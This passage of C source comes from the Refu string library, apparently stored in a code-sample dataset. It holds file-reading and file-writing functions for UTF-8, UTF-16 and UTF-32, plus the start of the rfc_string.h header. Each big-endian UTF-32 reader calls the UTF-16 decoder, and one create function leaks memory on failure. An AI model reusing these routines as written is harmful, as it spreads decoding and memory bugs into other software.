UTF-8.If for some reason (like EOF reached) no string can be read then null is returned\nint32_t rfString_Init_fUTF8(RF_String* str,FILE* f,char* eof)\n{\n    int32_t bytesN;\n    uint32_t bufferSize;// unused\n    if((bytesN=rfFReadLine_UTF8(f,&str->bytes,&str->byteLength,&bufferSize,eof)) < 0)\n    {\n        LOG_ERROR(\"Failed to initialize String from a UTF-8 file\",bytesN);\n        return bytesN;\n    }\n    // success\n    return bytesN;\n}\n// Assigns to a String from UTF-8 file parsing\nint32_t rfString_Assign_fUTF8(RF_String* str,FILE*f,char* eof)\n{\n    int32_t bytesN;\n    uint32_t utf8ByteLength,utf8BufferSize;// bufferSize unused in this function\n    char* utf8 = 0;\n    if((bytesN=rfFReadLine_UTF8(f,&utf8,&utf8ByteLength,&utf8BufferSize,eof)) < 0)\n    {\n        LOG_ERROR(\"Failed to assign the contents of a UTF-8 file to a String\",bytesN);\n        return bytesN;\n    }\n    // success\n    // assign it to the string\n    if(str->byteLength <= utf8ByteLength)\n    {\n        RF_REALLOC(str->bytes,char,utf8ByteLength+1);\n    }\n    memcpy(str->bytes,utf8,utf8ByteLength+1);\n    str->byteLength = utf8ByteLength;\n    // free the file's utf8 buffer\n    free(utf8);\n    return bytesN;\n}\n// Appends to a String from UTF-8 file parsing\nint32_t rfString_Append_fUTF8(RF_String* str,FILE*f,char* eof)\n{\n    int32_t bytesN;\n    uint32_t utf8ByteLength,utf8BufferSize;// bufferSize unused in this function\n    char* utf8 = 0;\n    if((bytesN=rfFReadLine_UTF8(f,&utf8,&utf8ByteLength,&utf8BufferSize,eof)) < 0)\n    {\n        LOG_ERROR(\"Failed to assign the contents of a UTF-8 file to a String\",bytesN);\n        return bytesN;\n    }\n    // append the utf8 to the given string\n    rfString_Append(str,RFS_(utf8));\n    // free the file's utf8 buffer\n    free(utf8);\n    return bytesN;\n}\n\n// Allocates and returns a string from file parsing. The file's encoding must be UTF-16.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\nRF_String* rfString_Create_fUTF16(FILE* f,char endianess,char* eof)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    if(rfString_Init_fUTF16(ret,f,endianess,eof) < 0)\n        return 0;\n    return ret;\n}\n// Initializes a string from file parsing. The file's encoding must be UTF-16.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\nint32_t rfString_Init_fUTF16(RF_String* str,FILE* f, char endianess,char* eof)\n{\n    int32_t bytesN;\n    // depending on the file's endianess\n    if(endianess == RF_LITTLE_ENDIAN)\n    {\n        if((bytesN=rfFReadLine_UTF16LE(f,&str->bytes,&str->byteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to initialize a String from reading a UTF-16 file\",bytesN);\n            return bytesN;\n        }\n    }// end of little endian\n    else// big endian\n    {\n        if((bytesN=rfFReadLine_UTF16BE(f,&str->bytes,&str->byteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to initialize a String from reading a UTF-16 file\",bytesN);\n            return bytesN;\n        }\n    }// end of big endian case\n    // success\n    return bytesN;\n}\n\n// Assigns to an already initialized String from File parsing\nint32_t rfString_Assign_fUTF16(RF_String* str,FILE* f, char endianess,char* eof)\n{\n\n    uint32_t utf8ByteLength;\n    int32_t bytesN;\n    char* utf8 = 0;\n    // depending on the file's endianess\n    if(endianess == RF_LITTLE_ENDIAN)\n    {\n        if((bytesN=rfFReadLine_UTF16LE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to assign the contents of a Little Endian UTF-16 file to a String\",bytesN);\n            return bytesN;\n        }\n    }// end of little endian\n    else// big endian\n    {\n        if((bytesN=rfFReadLine_UTF16BE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to assign the contents of a Big Endian UTF-16 file to a String\",bytesN);\n            return bytesN;\n        }\n    }// end of big endian case\n    // success\n    // assign it to the string\n    if(str->byteLength <= utf8ByteLength)\n    {\n        RF_REALLOC(str->bytes,char,utf8ByteLength+1);\n    }\n    memcpy(str->bytes,utf8,utf8ByteLength+1);\n    str->byteLength = utf8ByteLength;\n    // free the file's utf8 buffer\n    free(utf8);\n    return bytesN;\n}\n\n// Appends to an already initialized String from File parsing\nint32_t rfString_Append_fUTF16(RF_String* str,FILE* f, char endianess,char* eof)\n{\n    char*utf8;\n    uint32_t utf8ByteLength;\n    int32_t bytesN;\n    // depending on the file's endianess\n    if(endianess == RF_LITTLE_ENDIAN)\n    {\n        if((bytesN=rfFReadLine_UTF16LE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to append the contents of a Little Endian UTF-16 file to a String\",bytesN);\n            return bytesN;\n        }\n    }// end of little endian\n    else// big endian\n    {\n        if((bytesN=rfFReadLine_UTF16BE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to append the contents of a Big Endian UTF-16 file to a String\",bytesN);\n            return bytesN;\n        }\n    }// end of big endian case\n    // success\n    rfString_Append(str,RFS_(utf8));\n    free(utf8);\n    return bytesN;\n}\n\n// Allocates and returns a string from file parsing. The file's encoding must be UTF-32.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\nRF_String* rfString_Create_fUTF32(FILE* f,char endianess,char* eof)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    if(rfString_Init_fUTF32(ret,f,endianess,eof) < 0)\n    {\n        free(ret);\n        return 0;\n    }\n    return ret;\n}\n// Initializes a string from file parsing. The file's encoding must be UTF-32.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\nint32_t rfString_Init_fUTF32(RF_String* str,FILE* f,char endianess,char* eof)\n{\n    int32_t bytesN;\n    // depending on the file's endianess\n    if(endianess == RF_LITTLE_ENDIAN)\n    {\n        if((bytesN=rfFReadLine_UTF32LE(f,&str->bytes,&str->byteLength,eof)) <0)\n        {\n            LOG_ERROR(\"Failure to initialize a String from reading a Little Endian UTF-32 file\",bytesN);\n            return bytesN;\n        }\n    }// end of little endian\n    else// big endian\n    {\n        if((bytesN=rfFReadLine_UTF16BE(f,&str->bytes,&str->byteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to initialize a String from reading a Big Endian UTF-32 file\",bytesN);\n            return bytesN;\n        }\n    }// end of big endian case\n    // success\n    return bytesN;\n}\n// Assigns the contents of a UTF-32 file to a string\nint32_t rfString_Assign_fUTF32(RF_String* str,FILE* f,char endianess, char* eof)\n{\n    int32_t bytesN;\n    char*utf8;\n    uint32_t utf8ByteLength;\n    // depending on the file's endianess\n    if(endianess == RF_LITTLE_ENDIAN)\n    {\n        if((bytesN=rfFReadLine_UTF32LE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to assign to a String from reading a Little Endian UTF-32 file\",bytesN);\n            return bytesN;\n        }\n    }// end of little endian\n    else// big endian\n    {\n        if((bytesN=rfFReadLine_UTF16BE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to assign to a String from reading a Big Endian UTF-32 file\",bytesN);\n            return bytesN;\n        }\n    }// end of big endian case\n    // success\n    // assign it to the string\n    if(str->byteLength <= utf8ByteLength)\n    {\n        RF_REALLOC(str->bytes,char,utf8ByteLength+1);\n    }\n    memcpy(str->bytes,utf8,utf8ByteLength+1);\n    str->byteLength = utf8ByteLength;\n    // free the file's utf8 buffer\n    free(utf8);\n    return bytesN;\n}\n// Appends the contents of a UTF-32 file to a string\nint32_t rfString_Append_fUTF32(RF_String* str,FILE* f,char endianess, char* eof)\n{\n    int32_t bytesN;\n    char*utf8;\n    uint32_t utf8ByteLength;\n    // depending on the file's endianess\n    if(endianess == RF_LITTLE_ENDIAN)\n    {\n        if((bytesN=rfFReadLine_UTF32LE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to append to a String from reading a Little Endian UTF-32 file\",bytesN);\n            return bytesN;\n        }\n    }// end of little endian\n    else// big endian\n    {\n        if((bytesN=rfFReadLine_UTF16BE(f,&utf8,&utf8ByteLength,eof)) < 0)\n        {\n            LOG_ERROR(\"Failure to append to a String from reading a Big Endian UTF-32 file\",bytesN);\n            return bytesN;\n        }\n    }// end of big endian case\n    // success\n    // append it\n    rfString_Append(str,RFS_(utf8));\n    // free the file'sutf8 buffer\n    free(utf8);\n    return bytesN;\n}\n\n// Writes a string to a file in UTF-8 encoding.\nint32_t i_rfString_Fwrite(void* sP,FILE* f,char* encodingP)\n{\n    uint32_t *utf32,length,i;\n    uint16_t* utf16;\n    RF_String* s = (RF_String*)sP;\n    char encoding = *encodingP;\n    // depending on the encoding\n    switch(encoding)\n    {\n        case RF_UTF8:\n            if(fwrite(s->bytes,1,s->byteLength,f) != s->byteLength)\n                break;// and go to error logging\n            return RF_SUCCESS;\n        break;\n        case RF_UTF16_LE:\n            utf16 = rfString_ToUTF16(s,&length);\n            if(rfUTILS_Endianess() != RF_LITTLE_ENDIAN)\n            {\n                for(i=0;i<length;i++)\n                {\n                    rfUTILS_SwapEndianUS(&utf16[i]);\n                }\n            }\n            if(fwrite(utf16,2,length,f) != length)\n            {\n                free(utf16);\n                break;// and go to error logging\n            }\n            free(utf16);\n            return RF_SUCCESS;\n        break;\n        case RF_UTF16_BE:\n            utf16 = rfString_ToUTF16(s,&length);\n            if(rfUTILS_Endianess() != RF_BIG_ENDIAN)\n            {\n                for(i=0;i<length;i++)\n                {\n                    rfUTILS_SwapEndianUS(&utf16[i]);\n                }\n            }\n            if(fwrite(utf16,2,length,f) != length)\n            {\n                free(utf16);\n                break;// and go to error logging\n            }\n            free(utf16);\n            return RF_SUCCESS;\n        break;\n        case RF_UTF32_LE:\n            utf32 = rfString_ToUTF32(s,&length);\n            if(rfUTILS_Endianess() != RF_LITTLE_ENDIAN)\n            {\n                for(i=0;i<length;i++)\n                {\n                    rfUTILS_SwapEndianUI(&utf32[i]);\n                }\n            }\n            if(fwrite(utf32,4,length,f) != length)\n            {\n                free(utf32);\n                break;// and go to error logging\n            }\n            free(utf32);\n            return RF_SUCCESS;\n        break;\n        case RF_UTF32_BE:\n            utf32 = rfString_ToUTF32(s,&length);\n            if(rfUTILS_Endianess() != RF_BIG_ENDIAN)\n            {\n                for(i=0;i<length;i++)\n                {\n                    rfUTILS_SwapEndianUI(&utf32[i]);\n                }\n            }\n            if(fwrite(utf32,4,length,f) != length)\n            {\n                free(utf32);\n                break;// and go to error logging\n            }\n            free(utf32);\n            return RF_SUCCESS;\n        break;\n    }\n    // if we get here it means an error, and we log it with the macro\n    i_WRITE_CHECK(f,\"Writting a string to a file\")\n    return RE_FILE_WRITE;\n}\n\n\n"
  },
  {
    "path": "samples/C/rfc_string.h",
    "content": "/**\n** Copyright (c) 2011-2012, Karapetsas Eleftherios\n** All rights reserved.\n**\n** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n**  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n**  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in\n**     the documentation and/or other materials provided with the distribution.\n**  3. Neither the name of the Original Author of Refu nor the names of its contributors may be used to endorse or promote products derived from\n**\n**  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n**  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n**  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n**  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n**  SERVICES;LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n**  WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n**  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n**/\n\n#ifndef REFU_USTRING_H\n#define REFU_USTRING_H\n\n#include <rf_options.h>\n\n#ifdef RF_MODULE_STRINGS// check if the strings are included as a module\n\n#include <stdio.h>\n#include <rf_setup.h>\n\n#include <Preprocessor/rf_xmacro_argcount.h> // for the argument count\n#include <rf_localmem.h> // for the local memory function wrapping functionality\n#include <IO/rf_unicode.h>// for unicode\n\n\n#ifdef __cplusplus\nextern \"C\"\n{// opening bracket for calling from C++\n#endif\n\n// An option for some string functions. Means that the case should not be exactly matched in the string replacing,finding e.t.c.\n#define RF_CASE_IGNORE  0x1\n// An options for some string functions. Means that the exact string should be found/replaced e.t.c.\n#define RF_MATCH_WORD 0x2\n\n\n// Denotes that a requested character/byte index in an RF_String is out of bounds\n#define RF_STRING_INDEX_OUT_OF_BOUNDS   ((uint32_t)0xFF0FFFF)\n\n/* These are here so that the iteration macros can work*/\n\n// Checks if a given byte is a continuation byte\n#define rfUTF8_IsContinuationByte2(b__)  ( b__ >= 0x80 && b__<= 0xBF )\n\n#pragma pack(push,1)\n/**\n** @internal\n** @author Lefteris\n** @date 09/12/2010\n** @endinternal\n** @brief A unicode String with UTF-8 internal representation\n**\n** The Refu String is a Unicode String that has two versions. One is this and for the other check @ref RF_StringX to see what operations can be performed on extended Strings.\n** Functions to convert to and from all UTF encoding exists but the internal representation is always at UTF-8. Once a\n** a String has been created it is always assumed that the stream of bytes inside it is valid UTF-8 since every function\n** performs a UTF-8 check unless otherwise specified.\n**\n** All the functions which have @isinherited{StringX} on their description can be used with extended strings safely, since no specific\n** version of the function exists, or needs to exist to manipulate Extended Strings. To make the documentation even clearer the functions that should not\n** be used with the extended string are marked with @notinherited{StringX}\n** @internal\n** @cppcode\n** //default constructor\n** String(){this->i_StringCHandle = rfString_Create(\"\");}\n** @endcpp\n** @endinternal\n*/\ntypedef struct RF_String\n{\n    // The string's data\n    char* bytes;\n    // The string's length in bytes (not including the null termination). The string keeps its length in bytes\n    // to avoid multiple calls to strlen()\n    uint32_t byteLength;\n}RF_String;\n#pragma pack(pop)\n\n\n// @memberof RF_String\n// @brief Create a termporary String from a String literal\n//\n// A macro to be used only inside a function call that accepts an @ref RF_String to create a Temporary RF_String*\n// that will be used by the function. This macro accepts from 1 to N arguments.\n//\n// The first argument shall either be a String literal or a printf styled string literal\n// given in the source file's encoding(default is UTF-8). For other encodings look at the compile time\n// option @c RF_OPTION_SOURCE_ENCODING that can be provided during building the library, but it is\n// @b strongly recommended to use UTF-8 encoded source files.\n//\n// Optionally the first argument can be followed by a sequence of additional arguments,\n// each containing one value to be inserted instead of each %-tag specified in the string literal\n// parameter, if any. There should be\n// the same number of these arguments as the number of %-tags that expect a value.\n// Basically the usage is the same as @ref rfString_Create\n//\n// @param s The formatted string that will constitute the RF_String. Must be in the same encoding as that of the source file.\n// Default is UTF-8.\n// @param ... \\rfoptional{nothing}  Depending on the string literal, the function may expect a sequence of additional arguments,\n// each containing one value to be inserted instead of each %-tag specified in the @c slit parameter, if any. There should be\n// the same number of these arguments as the number of %-tags that expect a value.\n// @return Returns true in case of correct initialization and false , due to invalid byte sequence for the given encoding\n// @isinherited{StringX}\n#ifdef RF_IAMHERE_FOR_DOXYGEN\nRF_String* RFS_(const char* s,...);\n#else\n#define RFS_(...) i_rfString_CreateLocal(__VA_ARGS__)\n#endif\n\n\n\n/*-------------------------------------------------------------------------Methods to create an RF_String-------------------------------------------------------------------------------*/\n// @name Creating an RF_String\n// @{\n\n\n// @memberof RF_String\n// @opassign\n// @brief Allocates and returns a string with the given characters\n//\n// Given characters have to be in UTF-8. A check for valid sequence of bytes is performed. @notinherited{StringX}\n// @param s The sequence of bytes for the characters in UTF-8 (the default). Can also follow a printf-like format which will be formatted with\n// the variables that follow it. A check to see if it is a valid UTF-8 sequence is performed\n// @param ... \\rfoptional{nothing}  Depending on the string literal, the function may expect a sequence of additional arguments,\n// each containing one value to be inserted instead of each %-tag specified in the @c slit parameter, if any. There should be\n// the same number of these arguments as the number of %-tags that expect a value.\n// @return Returns the initialized RF_string or null in case of failure to initialize, due to invalid utf-8 sequence\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\ni_DECLIMEX_ RF_String* rfString_Create(const char* s,...);\n#else\ni_DECLIMEX_ RF_String* i_rfString_Create(const char* s,...);\ni_DECLIMEX_ RF_String* i_NVrfString_Create(const char* s);\n#define rfString_Create(...)  RP_SELECT_FUNC_IF_NARGIS(i_SELECT_RF_STRING_CREATE,1,__VA_ARGS__)\n#define i_SELECT_RF_STRING_CREATE1(...) i_NVrfString_Create(__VA_ARGS__)\n#define i_SELECT_RF_STRING_CREATE0(...) i_rfString_Create(__VA_ARGS__)\n#endif\n\n///Internal function that creates a temporary RF_String*\ni_DECLIMEX_ RF_String* i_rfString_CreateLocal1(const char* s,...);\ni_DECLIMEX_ RF_String* i_NVrfString_CreateLocal(const char* s);\n#define i_rfString_CreateLocal(...)  RP_SELECT_FUNC_IF_NARGIS(i_SELECT_RF_STRING_CREATELOCAL,1,__VA_ARGS__)\n#define i_SELECT_RF_STRING_CREATELOCAL1(...) i_NVrfString_CreateLocal(__VA_ARGS__)\n#define i_SELECT_RF_STRING_CREATELOCAL0(...) i_rfString_CreateLocal1(__VA_ARGS__)\n\n\n// @memberof RF_String\n// @brief Initializes a string with the given characters.\n//\n// @notinherited{StringX}\n// Given characters have to be in UTF-8. A check for valide sequence of bytes is performed.\n// @param str The string to initialize\n// @param s The sequence of bytes for the characters in UTF-8 (the default).Can also follow a printf-like format which will be formatted with\n// the variables that follow it. A check to see if it is a valid UTF-8 sequence is performed\n// @param ... \\rfoptional{nothing}  Depending on the string literal, the function may expect a sequence of additional arguments,\n// each containing one value to be inserted instead of each %-tag specified in the @c slit parameter, if any. There should be\n// the same number of these arguments as the number of %-tags that expect a value.\n// @return Returns true in case of correct initialization and false , due to invalid utf-8 sequence\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\ni_DECLIMEX_ char rfString_Init(RF_String* str,const char* s,...);\n#else\ni_DECLIMEX_ char i_rfString_Init(RF_String* str,const char* s,...);\ni_DECLIMEX_ char i_NVrfString_Init(RF_String* str,const char* s);\n#define rfString_Init(...)  RP_SELECT_FUNC_IF_NARGIS(i_SELECT_RF_STRING_INIT,2,__VA_ARGS__)\n#define i_SELECT_RF_STRING_INIT1(...) i_NVrfString_Init(__VA_ARGS__)\n#define i_SELECT_RF_STRING_INIT0(...) i_rfString_Init(__VA_ARGS__)\n#endif\n\n// @memberof RF_String\n// @cppnotctor\n// @brief Allocates a String by turning a unicode code point in a String (encoded in UTF-8).\n//\n// @notinherited{StringX}\n// @param code The unicode code point to encode\n// @return A String with the code point encoded in it or a null pointer in case of an illegal code point value\ni_DECLIMEX_ RF_String* rfString_Create_cp(uint32_t code);\n// @memberof RF_String\n// @brief Initializes a string by turning a unicode code point in a String (encoded in UTF-8).\n//\n// @notinherited{StringX}\n// @param str The string to initialize\n// @param code The unicode code point to encode\n// @return Returns true in case of correct initialization and false , due to illegal code point value\ni_DECLIMEX_ char rfString_Init_cp(RF_String* str,uint32_t code);\n\n\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\n// @memberof RF_String\n// @cppnotctor\n// @brief Allocates and returns a string with the given characters with no checking.\n//\n// @notinherited{StringX}\n// @warning NO VALID-UTF8 check is performed.\n// @param s The sequence of bytes for the characters in UTF-8 (the default).Can also follow a printf-like format which will be formatted with\n// the variables that follow it. No check for valid bytestream is performed\n// @param ... \\rfoptional{nothing}  Depending on the string literal, the function may expect a sequence of additional arguments,\n// each containing one value to be inserted instead of each %-tag specified in the @c slit parameter, if any. There should be\n// the same number of these arguments as the number of %-tags that expect a value.\n// @return Returns the initialized RF_string or null in case of failure to initialize\ni_DECLIMEX_ RF_String* rfString_Create_nc(const char* s,...);\n#else\ni_DECLIMEX_ RF_String* i_rfString_Create_nc(const char* s,...);\ni_DECLIMEX_ RF_String* i_NVrfString_Create_nc(const char* s);\n#define rfString_Create_nc(...)  RP_SELECT_FUNC_IF_NARGIS(i_SELECT_RF_STRING_CREATE_NC,1,__VA_ARGS__)\n#define i_SELECT_RF_STRING_CREATE_NC1(...) i_NVrfString_Create_nc(__VA_ARGS__)\n#define i_SELECT_RF_STRING_CREATE_NC0(...) i_rfString_Create_nc(__VA_ARGS__)\n#endif\n\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\n// @memberof RF_String\n// @brief Initializes a string with the given characters with no checking\n//\n// @notinherited{StringX}\n// @warning NO VALID-UTF8 check is performed.\n// @param str The string to initialize\n// @param s The sequence of bytes for the characters in UTF-8 (the default).Can also follow a printf-like format which will be formatted with\n// the variables that follow it. No check for valid bytestream is performed\n// @param ... \\rfoptional{nothing}  Depending on the string literal, the function may expect a sequence of additional arguments,\n// each containing one value to be inserted instead of each %-tag specified in the @c slit parameter, if any. There should be\n// the same number of these arguments as the number of %-tags that expect a value.\n// @return Returns true in case of correct initialization and false otherwise\ni_DECLIMEX_ char rfString_Init_nc(RF_String* str,const char* s,...);\n#else\ni_DECLIMEX_ char i_rfString_Init_nc(RF_String* str,const char* s,...);\ni_DECLIMEX_ char i_NVrfString_Init_nc(RF_String* str,const char* s);\n#define rfString_Init_nc(...)  RP_SELECT_FUNC_IF_NARGIS(i_SELECT_RF_STRING_INIT_NC,2,__VA_ARGS__)\n#define i_SELECT_RF_STRING_INIT_NC1(...) i_NVrfString_Init_nc(__VA_ARGS__)\n#define i_SELECT_RF_STRING_INIT_NC0(...) i_rfString_Init_nc(__VA_ARGS__)\n#endif\n\n// @memberof RF_String\n// @opassign\n// @brief Allocates and returns a string with the given integer.\n//\n// @notinherited{StringX}\n// @param i The integer to turn into a string\n// @return Returns the initialized RF_string\ni_DECLIMEX_ RF_String* rfString_Create_i(int32_t i);\n// @memberof RF_String\n// @brief Initializes a string with the given integer.\n//\n// @notinherited{StringX}\n// @param str The string to initialize\n// @param i The integer to turn into a string\n// @return Returns true in case of correct initialization and false otherwise\ni_DECLIMEX_ char rfString_Init_i(RF_String* str,int32_t i);\n// @memberof RF_String\n// @opassign\n// @brief Allocates and returns a string with the given float.\n//\n// @notinherited{StringX}\n// @param f The float to turn into a string\n// @return Returns the initialized RF_string\ni_DECLIMEX_ RF_String* rfString_Create_f(float f);\n// @memberof RF_String\n// @brief Initializes a string with the given float.\n//\n// @notinherited{StringX}\n// @param str The string to initialize\n// @param f The float to turn into a string\n// @return Returns true in case of correct initialization and false otherwise\ni_DECLIMEX_ char rfString_Init_f(RF_String* str,float f);\n\n// @memberof RF_String\n// @brief Allocates and returns a string with the given UTF-16 byte sequence.\n//\n// @notinherited{StringX}\n// Given characters have to be in UTF-16\n// @param s The sequence of bytes for the characters in UTF-16.\n// @param endianess A flag that determined in what endianess the sequence of UTF-16 bytes is in. Possible values here is\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @return Returns the initialized RF_string or null in case of failure to initialize, due to invalid utf-16 sequence or illegal endianess value\ni_DECLIMEX_ RF_String* rfString_Create_UTF16(const char* s,char endianess);\n// @memberof RF_String\n// @brief Initializes a string with the given UTF-16 byte sequence.\n//\n// @notinherited{StringX}\n// Given characters have to be in UTF-16\n// @param str The string to initialize\n// @param s The sequence of bytes for the characters in UTF-16.\n// @param endianess A flag that determined in what endianess the sequence of UTF-16 bytes is in. Possible values here is\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @return Returns true for succesfull initialization and false otherwise due to invalid utf-16 sequence or illegal endianess value\ni_DECLIMEX_ char rfString_Init_UTF16(RF_String* str,const char* s,char endianess);\n\n// @memberof RF_String\n// @cppnotctor\n// @brief Allocates and returns a string with the given UTF-32 byte sequence.\n//\n// @notinherited{StringX}\n// Given characters have to be in UTF-32\n// @param s The sequence of bytes for the characters in UTF-32. Needs to be null terminated.\n// @return Returns the initialized RF_string or null in case of failure to initialize\ni_DECLIMEX_ RF_String* rfString_Create_UTF32(const char* s);\n// @memberof RF_String\n// @brief Initializes a string with the given UTF-32 byte sequence.\n//\n// @notinherited{StringX}\n// Given characters have to be in UTF-32\n// @param str The string to initialize\n// @param s The sequence of bytes for the characters in UTF-32. Needs to be null terminated.\n// @return Returns true for successful initialization and false otherwise\ni_DECLIMEX_ char rfString_Init_UTF32(RF_String* str,const char* s);\n//@}\n\n/*-------------------------------------------------------------------------Methods to copy/assign an RF_String-------------------------------------------------------------------------------*/\n// @name Copying - Assigning a String\n// @{\n\n// @memberof RF_String\n// @brief Assigns the value of the source string to the destination.\n//\n// @notinherited{StringX}\n// @lmsFunction\n// Both strings should already be initialized and hold a value. It is an error to give null parameters.\n// @param dest The destination string, which should get assigned\n// @param source The source string, whose values to copy. @inhtype{String,StringX} @tmpSTR\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\nvoid rfString_Assign(RF_String* dest,void* source);\n#else\ni_DECLIMEX_ void i_rfString_Assign(RF_String* dest,void* source);\n#define rfString_Assign(i_DESTINATION_,i_SOURCE_) i_rfLMS_WRAP2(void,i_rfString_Assign,i_DESTINATION_,i_SOURCE_)\n#endif\n\n// @memberof RF_String\n// @brief Assigns the value of a unicode character to the string\n//\n// @notinherited{StringX}\n// @param thisstr The string to assign to\n// @param character The unicode character codepoint to assign to the String\n// @return Returns @c true for succesfull assignment and @c false if the given @c character was not a valid unicode codepoint\ni_DECLIMEX_ char rfString_Assign_char(RF_String* thisstr,uint32_t character);\n\n// @}\n/*-------------------------------------------------------------------------Methods to get rid of an RF_String-------------------------------------------------------------------------------*/\n// @name Getting rid of an RF_String\n// @{\n\n// @memberof RF_String\n// @cppignore\n// @brief Deletes a string object and also frees its pointer.\n//\n// @notinherited{StringX}\n// It is an error to give a NULL(0x0) string for deleting. Will most probably lead to a segmentation fault\n// Use it for strings made with _Create\n// @param s The string for deletion\ni_DECLIMEX_ void rfString_Destroy(RF_String* s);\n// @memberof RF_String\n// @cppignore\n// @brief Deletes a string object only, not its memory.\n//\n// @notinherited{StringX}\n// It is an error to give a NULL(0x0) string for deleting. Will most probably lead to a segmentation fault\n// Use it for strings made with _Init\n// @param s The string for deletion\ni_DECLIMEX_ void rfString_Deinit(RF_String* s);\n\n\n// @}\n/*------------------------------------------------------------------------ RF_String unicode conversion-------------------------------------------------------------------------------*/\n// @name Unicode Conversion Functions\n// @{\n\n// @memberof RF_String\n// @brief Returns the strings contents as a UTF-8 buffer\n//\n// @isinherited{StringX}\n// This is just a macro wrapper of @ref rfString_ToStr() and exists here\n// just so that users can guess function names for all unicode encodings.\n//\n//  Note that just like in @ref rfString_ToStr() this is just a pointer to\n// the String's internal UTF8 buffer and as such should be read only. If there\n// is a need to do anything other than that copy the buffer.\n// @param s The string in question\n// @return Returns a pointer to the String's internal UTF-8 uffer\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ const char* rfString_ToUTF8(RF_String* s);\n#else\n#define rfString_ToUTF8(i_STRING_)  rfString_ToCstr(i_STRING_)\n#endif\n\n// @memberof RF_String\n// @brief Returns the strings contents as a UTF-16 buffer\n//\n// @isinherited{StringX}\n// This function allocates a UTF-16 buffer in which the string's\n// UTF-8 contents are encoded as UTF-16. The endianess of the buffer\n// is that of the system. The returned buffer needs to be freed by the user\n// later.\n// @param[in] s The string in question\n// @param[out] length Give a reference to a uint32_t in this argument to receive the length of\n// the returned UTF-16 buffer in 16-bit words\n// @return Returns an allocated UTF-16 buffer. Needs to be freed by the user later.\ni_DECLIMEX_ uint16_t* rfString_ToUTF16(RF_String* s,uint32_t* length);\n\n// @memberof RF_String\n// @brief Returns the strings contents as a UTF-32 buffer\n//\n// @isinherited{StringX}\n// This function allocates a UTF-32 buffer in which the string's\n// UTF-8 contents are encoded as UTF-32. The endianess of the buffer\n// is that of the system. The returned buffer needs to be freed by the user\n// later.\n// @param[in] s The string in question\n// @param[out] length Give a reference to a uint32_t in this argument to receive the length\n// of the returned UTF-32 buffer in codepoints. (32-bit) words\n// @return Returns an allocated UTF-16 buffer. Needs to be freed by the user later.\ni_DECLIMEX_ uint32_t* rfString_ToUTF32(RF_String* s,uint32_t*length);\n\n// @}\n/*------------------------------------------------------------------------ RF_String retrieval functions-------------------------------------------------------------------------------*/\n// @name String Retrieval\n// @{\n\n\n\n    //-- String iteration --/ /\n\n// Two macros to accomplish iteration of an RF_String from any given character going forwards. This macro should be used with its end pair.\n// We take advantage of the fact that an RF_String is always guaranteed to contain a valid UTF-8 sequence and thus no checks are performed.\n/**\n** @memberof RF_String\n** @cppignore\n** @brief Starts an RF_String forward iteration scope.\n**\n** @isinherited{StringX}\n** Use this macro to iterate every character inside an RF_String or RF_StringX\\n\n** Must be used with its pair macro #rfString_Iterate_End.\\n\n** As an example consider this code that iterates every character of a string from the start to finish\n** @code\n** uint32_t i = 0;\n** uint32_t charValue;\n** RF_String foo;rfString_Init(&foo,\"I am a String\");\n** rfString_Iterate_Start(&foo,i,charValue)\n**      //for every character in the string,let's print it\n**      printf(\"Character at index %d is %c\\n\",i,charValue);\n** rfString_Iterate_End(i)\n** @endcode\n** @param[in] string_ The string to iterate. Must be a pointer to string\n** @param[in,out] startCharacterPos_ Here give an uint32_t which will be the character position from which to start the iteration. In each iteration this will hold the character index. If the given position is out of bounds then the iteration does not happen\n** @param[in,out] 